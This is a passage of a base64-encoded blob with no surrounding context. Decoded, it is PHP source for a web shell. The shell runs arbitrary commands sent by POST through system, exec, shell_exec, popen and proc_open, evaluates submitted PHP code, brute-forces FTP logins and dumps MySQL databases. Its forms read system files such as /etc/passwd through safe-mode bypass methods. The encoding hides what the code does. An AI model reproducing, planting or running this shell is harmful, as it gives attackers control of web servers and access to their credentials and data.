CAgICAgIGVjaG8gIkZ1bmN0aW9ucyBleGVjIjsNCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJG1ldGhvZD09InNoZWxsX2V4ZWMiKSB7DQogICAgICAgICAgICAgICAgJHN0cmluZyA9IHNoZWxsX2V4ZWMoJF9QT1NUWydjb21tYW5kJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsNCiAgICAgICAgICAgICAgICBlY2hvICJGdW5jdGlvbnMgc2hlbGxfZXhlYyI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0icG9wZW4iKSB7DQogICAgICAgICAgICAgICAgJHBwID0gcG9wZW4oJF9QT1NUWydjb21tYW5kJ10sICdyJyk7DQogICAgICAgICAgICAgICAgJHJlYWQgPSBmcmVhZCgkcHAsIDIwOTYpOw0KICAgICAgICAgICAgICAgIGVjaG8gJHJlYWQ7DQogICAgICAgICAgICAgICAgcGNsb3NlKCRwcCk7DQogICAgICAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIHBvcGVuIjsNCiAgICAgICAgICAgICAgICAgIH0NCg0KCSAgaWYgKCRtZXRob2Q9PSJwcm9jX29wZW4iKSB7DQoNCg0KJGNvbW1hbmQgID0gaXNzZXQoJF9QT1NUWydjb21tYW5kJ10pICA/ICRfUE9TVFsnY29tbWFuZCddICA6ICcnOw0KDQoNCg0KLyogTG9hZCB0aGUgY29uZmlndXJhdGlvbi4gKi8NCg0KLyogRGVmYXVsdCBzZXR0aW5ncyAtLS0gdGhlc2Ugc2V0dGluZ3Mgc2hvdWxkIGFsd2F5cyBiZSBzZXQgdG8gc29tZXRoaW5nLiAqLw0KDQovKiBNZXJnZSBzZXR0aW5ncy4gKi8NCg0Kc2Vzc2lvbl9zdGFydCgpOw0KDQoNCg0KICAgIGlmICghZW1wdHkoJGNvbW1hbmQpKSB7DQogICAgICAgIC8qIFNhdmUgdGhlIGNvbW1hbmQgZm9yIGxhdGUgdXNlIGluIHRoZSBKYXZhU2NyaXB0LiAgSWYgdGhlIGNvbW1hbmQgaXMNCiAgICAgICAgICogYWxyZWFkeSBpbiB0aGUgaGlzdG9yeSwgdGhlbiB0aGUgb2xkIGVudHJ5IGlzIHJlbW92ZWQgYmVmb3JlIHRoZQ0KICAgICAgICAgKiBuZXcgZW50cnkgaXMgcHV0IGludG8gdGhlIGxpc3QgYXQgdGhlIGZyb250LiAqLw0KICAgICAgICBpZiAoKCRpID0gYXJyYXlfc2VhcmNoKCRfUE9TVFsnY29tbWFuZCddLCAkX1NFU1NJT05bJ2hpc3RvcnknXSkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnaGlzdG9yeSddWyRpXSk7DQoNCiAgICAgICAgYXJyYXlfdW5zaGlmdCgkX1NFU1NJT05bJ2hpc3RvcnknXSwgJF9QT1NUWydjb21tYW5kJ10pOw0KDQogICAgICAgIC8qIE5vdyBhcHBlbmQgdGhlIGNvbW1tYW5kIHRvIHRoZSBvdXRwdXQuICovDQogICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gJyQgJyAuICRfUE9TVFsnY29tbWFuZCddIC4gIlxuIjsNCg0KICAgICAgICAvKiBJbml0aWFsaXplIHRoZSBjdXJyZW50IHdvcmtpbmcgZGlyZWN0b3J5LiAqLw0KICAgICAgICBpZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0qJCcsICRfUE9TVFsnY29tbWFuZCddKSkgew0KICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9IHJlYWxwYXRoKCRpbmlbJ3NldHRpbmdzJ11bJ2hvbWUtZGlyZWN0b3J5J10pOw0KICAgICAgICB9IGVsc2VpZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1BPU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKSB7DQogICAgICAgICAgICAvKiBUaGUgY3VycmVudCBjb21tYW5kIGlzIGEgJ2NkJyBjb21tYW5kIHdoaWNoIHdlIGhhdmUgdG8gaGFuZGxlDQogICAgICAgICAgICAgKiBhcyBhbiBpbnRlcm5hbCBzaGVsbCBjb21tYW5kLiAqLw0KDQogICAgICAgICAgICBpZiAoJHJlZ3NbMV17MH0gPT0gJy8nKSB7DQogICAgICAgICAgICAgICAgLyogQWJzb2x1dGUgcGF0aCwgd2UgdXNlIGl0IHVuY2hhbmdlZC4gKi8NCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRyZWdzWzFdOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAvKiBSZWxhdGl2ZSBwYXRoLCB3ZSBhcHBlbmQgaXQgdG8gdGhlIGN1cnJlbnQgd29ya2luZw0KICAgICAgICAgICAgICAgICAqIGRpcmVjdG9yeS4gKi8NCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLyogVHJhbnNmb3JtICcvLi8nIGludG8gJy8nICovDQogICAgICAgICAgICB3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8uLycsICcvJywgJG5ld19kaXIpOw0KDQogICAgICAgICAgICAvKiBUcmFuc2Zvcm0gJy8vJyBpbnRvICcvJyAqLw0KICAgICAgICAgICAgd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbmV3X2Rpcik7DQoNCiAgICAgICAgICAgIC8qIFRyYW5zZm9ybSAneC8uLicgaW50byAnJyAqLw0KICAgICAgICAgICAgd2hpbGUgKHByZWdfbWF0Y2goJ3wvXC5cLig/IVwuKXwnLCAkbmV3X2RpcikpDQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsNCg0KICAgICAgICAgICAgaWYgKCRuZXdfZGlyID09ICcnKSAkbmV3X2RpciA9ICcvJzsNCg0KICAgICAgICAgICAgLyogVHJ5IHRvIGNoYW5nZSBkaXJlY3RvcnkuICovDQogICAgICAgICAgICBpZiAoQGNoZGlyKCRuZXdfZGlyKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpcjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAiY2Q6IGNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0gZWxzZWlmICh0cmltKCRfUE9TVFsnY29tbWFuZCddKSA9PSAnZXhpdCcpIHsNCiAgICAgICAgICAgIGxvZ291dCgpOw0KICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAvKiBUaGUgY29tbWFuZCBpcyBub3QgYW4gaW50ZXJuYWwgY29tbWFuZCwgc28gd2UgZXhlY3V0ZSBpdCBhZnRlcg0KICAgICAgICAgICAgICogY2hhbmdpbmcgdGhlIGRpcmVjdG9yeSBhbmQgc2F2ZSB0aGUgb3V0cHV0LiAqLw0KICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjd2QnXSk7DQoNCiAgICAgICAgICAgIC8vIFdlIGNhbm90IHVzZSBwdXRlbnYoKSBpbiBzYWZlIG1vZGUuDQogICAgICAgICAgICBpZiAoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSB7DQogICAgICAgICAgICAgICAgLy8gQWR2aWNlIHByb2dyYW1zIChscyBmb3IgZXhhbXBsZSkgb2YgdGhlIHRlcm1pbmFsIHNpemUuDQogICAgICAgICAgICAgICAgcHV0ZW52KCdST1dTPScgLiAkcm93cyk7DQogICAgICAgICAgICAgICAgcHV0ZW52KCdDT0xVTU5TPScgLiAkY29sdW1ucyk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8qIEFsaWFzIGV4cGFuc2lvbi4gKi8NCiAgICAgICAgICAgICRsZW5ndGggPSBzdHJjc3BuKCRfUE9TVFsnY29tbWFuZCddLCAiIFx0Iik7DQogICAgICAgICAgICAkdG9rZW4gPSBzdWJzdHIoJF9QT1NUWydjb21tYW5kJ10sIDAsICRsZW5ndGgpOw0KICAgICAgICAgICAgaWYgKGlzc2V0KCRpbmlbJ2FsaWFzZXMnXVskdG9rZW5dKSkNCiAgICAgICAgICAgICAgICAkY29tbWFuZCA9ICRpbmlbJ2FsaWFzZXMnXVskdG9rZW5dIC4gc3Vic3RyKCRfUE9TVFsnY29tbWFuZCddLCAkbGVuZ3RoKTsNCg0KICAgICAgICAgICAgJGlvID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRwID0gcHJvY19vcGVuKCRfUE9TVFsnY29tbWFuZCddLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyID0+IGFycmF5KCdwaXBlJywgJ3cnKSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAkaW8pOw0KDQogICAgICAgICAgICAvKiBSZWFkIG91dHB1dCBzZW50IHRvIHN0ZG91dC4gKi8NCiAgICAgICAgICAgIHdoaWxlICghZmVvZigkaW9bMV0pKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1sxXSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVOVF9DT01QQVQsICdVVEYtOCcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRlcnIuICovDQogICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGlvWzJdKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMl0pLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFTlRfQ09NUEFULCAnVVRGLTgnKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZmNsb3NlKCRpb1sxXSk7DQogICAgICAgICAgICBmY2xvc2UoJGlvWzJdKTsNCiAgICAgICAgICAgIHByb2NfY2xvc2UoJHApOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyogQnVpbGQgdGhlIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0ICovDQogICAgaWYgKGVtcHR5KCRfU0VTU0lPTlsnaGlzdG9yeSddKSkgew0KICAgICAgICAkanNfY29tbWFuZF9oaXN0ID0gJyIiJzsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkZXNjYXBlZCA9IGFycmF5X21hcCgnYWRkc2xhc2hlcycsICRfU0VTU0lPTlsnaGlzdG9yeSddKTsNCiAgICAgICAgJGpzX2NvbW1hbmRfaGlzdCA9ICciIiwgIicgLiBpbXBsb2RlKCciLCAiJywgJGVzY2FwZWQpIC4gJyInOw0KICAgIH0NCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAJCX0NCg0KDQoJCWJyZWFrOw0KICAgfQ0KfQ0KDQoNCg0KDQoNCmlmICgkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIikNCiB7DQogJHN1YyA9IDA7DQogZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpDQogIHsNCiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiAgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlciwkdXNlcikpIHsgZWNobyAiWytdICR1c2VyOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0NCiAgZWxzZSBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkpIHsgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlcixzdHJyZXYoJHVzZXIpKSkgeyBlY2hvICJbK10gJHVzZXI6Ii5zdHJyZXYoJHVzZXIpLiIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfSB9DQogIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICB9DQogZWNobyAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuIjsNCiAkY291bnQgPSBjb3VudCgkdXNlcnMpOw0KIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSkgeyAkY291bnQgKj0gMjsgfQ0KIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsNCiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOw0KIH0NCmlmICgkX1BPU1RbJ2NtZCddPT0icGhwX2V2YWwiKXsNCiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7DQogJGV2YWwgPSBAc3RyX3JlcGxhY2UoIj8+IiwiIiwkZXZhbCk7DQogQGV2YWwoJGV2YWwpO30NCg0KaWYgKCRfUE9TVFsnY21kJ109PSJteXNxbF9kdW1wIikNCiB7DQogIGlmKGlzc2V0KCRfUE9TVFsnZGlmJ10pKSB7ICRmcCA9IEBmb3BlbigkX1BPU1RbJ2RpZl9uYW1lJ10sICJ3Iik7IH0NCiAgJHNxbCA9IG5ldyBteV9zcWwoKTsNCiAgJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107DQogICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiAgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KICAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107DQogICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107DQogIGlmKCEkc3FsLT5jb25uZWN0KCkpIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXIiOyB9DQogIGVsc2UgaWYoISRzcWwtPnNlbGVjdF9kYigpKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsgfQ0KICBlbHNlIGlmKCEkc3FsLT5kdW1wKCRfUE9TVFsnbXlzcWxfdGJsJ10pKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY3JlYXRlIGR1bXAiOyB9DQogIGVsc2Ugew0KICAgaWYoZW1wdHkoJF9QT1NUWydkaWYnXSkpIHsgZm9yZWFjaCgkc3FsLT5kdW1wIGFzICR2KSBlY2hvICR2LiJcclxuIjsgfQ0KICAgZWxzZSBpZigkZnApeyBmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpIEBmcHV0cygkZnAsJHYuIlxyXG4iKTsgfQ0KICAgZWxzZSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgd3JpdGUgaW4gZHVtcCBmaWxlIjsgfQ0KICAgfQ0KIH0NCmVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+IjsNCmVjaG8gIjwvYj4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4iOw0KZnVuY3Rpb24gZGl2X3RpdGxlKCR0aXRsZSwgJGlkKQ0Kew0KICByZXR1cm4gJzxhIHN0eWxlPSJjdXJzb3I6IHBvaW50ZXI7IiBvbkNsaWNrPSJjaGFuZ2VfZGl2c3QoXCcnLiRpZC4nXCcpOyI+Jy4kdGl0bGUuJzwvYT4nOw0KfQ0KZnVuY3Rpb24gZGl2KCRpZCkNCiB7DQogaWYoaXNzZXQoJF9DT09LSUVbJGlkXSkgJiYgJF9DT09LSUVbJGlkXT09MCkgcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPic7DQogcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIj4nOw0KIH0NCg0KDQppZighJHNhZmVfbW9kZSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MiddLCdpZDEnKS4kdGFibGVfdXAyLmRpdignaWQxJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdjbWQnLDg1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQplbHNlew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI4J10sJ2lkMicpLiR0YWJsZV91cDIuZGl2KCdpZDInKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2FmZV9kaXInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDgnXSwnaWQxNScpLiR0YWJsZV91cDIuZGl2KCdpZDE1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTYnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9XCJtZXRob2RcIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwic3lzdGVtXCIgPD8gaWYgKCRtZXRob2Q9PVwic3lzdGVtXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5zeXN0ZW08L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwicGFzc3RocnVcIiA8PyBpZiAoJG1ldGhvZD09XCJwYXNzdGhydVwiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+cGFzc3RocnU8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZXhlY1wiIDw/IGlmICgkbWV0aG9kPT1cImV4ZWNcIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PmV4ZWM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwic2hlbGxfZXhlY1wiIDw/IGlmICgkbWV0aG9kPT1cInNoZWxsX2V4ZWNcIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PnNoZWxsX2V4ZWM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwicG9wZW5cIiA8PyBpZiAoJG1ldGhvZD09XCJwb3BlblwiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+cG9wZW48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwicHJvY19vcGVuXCIgPD8gaWYgKCRtZXRob2Q9PVwicHJvY19vcGVuXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wcm9jX29wZW48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywnY29tbWFuZCcsNTQsKCFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQnXSk/KCRfUE9TVFsnY29tbWFuZCddKTooImlkIikpKS5pbignaGlkZGVuJywnY21kJywwLCdjb21tYW5kJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjMnXSwnaWQ1JykuJHRhYmxlX3VwMi5kaXYoJ2lkNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPVwibWV0aG9kXCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT1cImZpbGVcIiA8PyBpZiAoJG1ldGhvZD09XCJmaWxlXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz4gZmlsZTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJmcmVhZFwiIDw/IGlmICgkbWV0aG9kPT1cImZyZWFkXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz4gZnJlYWQ8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwic2hvd19zb3VyY2VcIiA8PyBpZiAoJG1ldGhvZD09XCJzaG93X3NvdXJjZVwiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+IHNob3dfc291cmNlPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInJlYWRmaWxlXCIgPD8gaWYgKCRtZXRob2Q9PVwicmVhZGZpbGVcIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PiByZWFkZmlsZTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2ZpbGUnLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMiddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdmaWxlJyw0MSwnL2V0Yy9wYXNzd2QnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MiddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZV9uYW1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdlZGl0X2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDExJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMCddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAyJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NubicsODUsJy9ldGMvcGFzc3dkJykuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnY29weScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NyddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAwJ10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnU25JcEVyX1NBJyw4NSwnL2V0Yy9wYXNzd2QnKS5pbignaGlkZGVuJywnY21kJywwLCdjVVJMJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDMnXSwnaWQzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpbmlfcmVzdG9yZScsODUsJy9ldGMvcGFzc3dkJykuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnaW5pX3Jlc3RvcmUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDcnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyNCddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAyJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJwbHVnaW5cIj48b3B0aW9uIHZhbHVlPVwicGx1Z2luXCI+L2V0Yy9wYXNzd2Q8L29wdGlvbj48L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3BsdWdpbicpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NyddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzUnXSwnaWQxMicpLiR0YWJsZV91cDIuZGl2KCdpZDEyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDNfbWQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tZCddKT8oJF9QT1NUWyd0ZXN0M19tZCddKTooIm15c3FsIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfbWwnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tbCddKT8oJF9QT1NUWyd0ZXN0M19tbCddKTooInJvb3QiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddL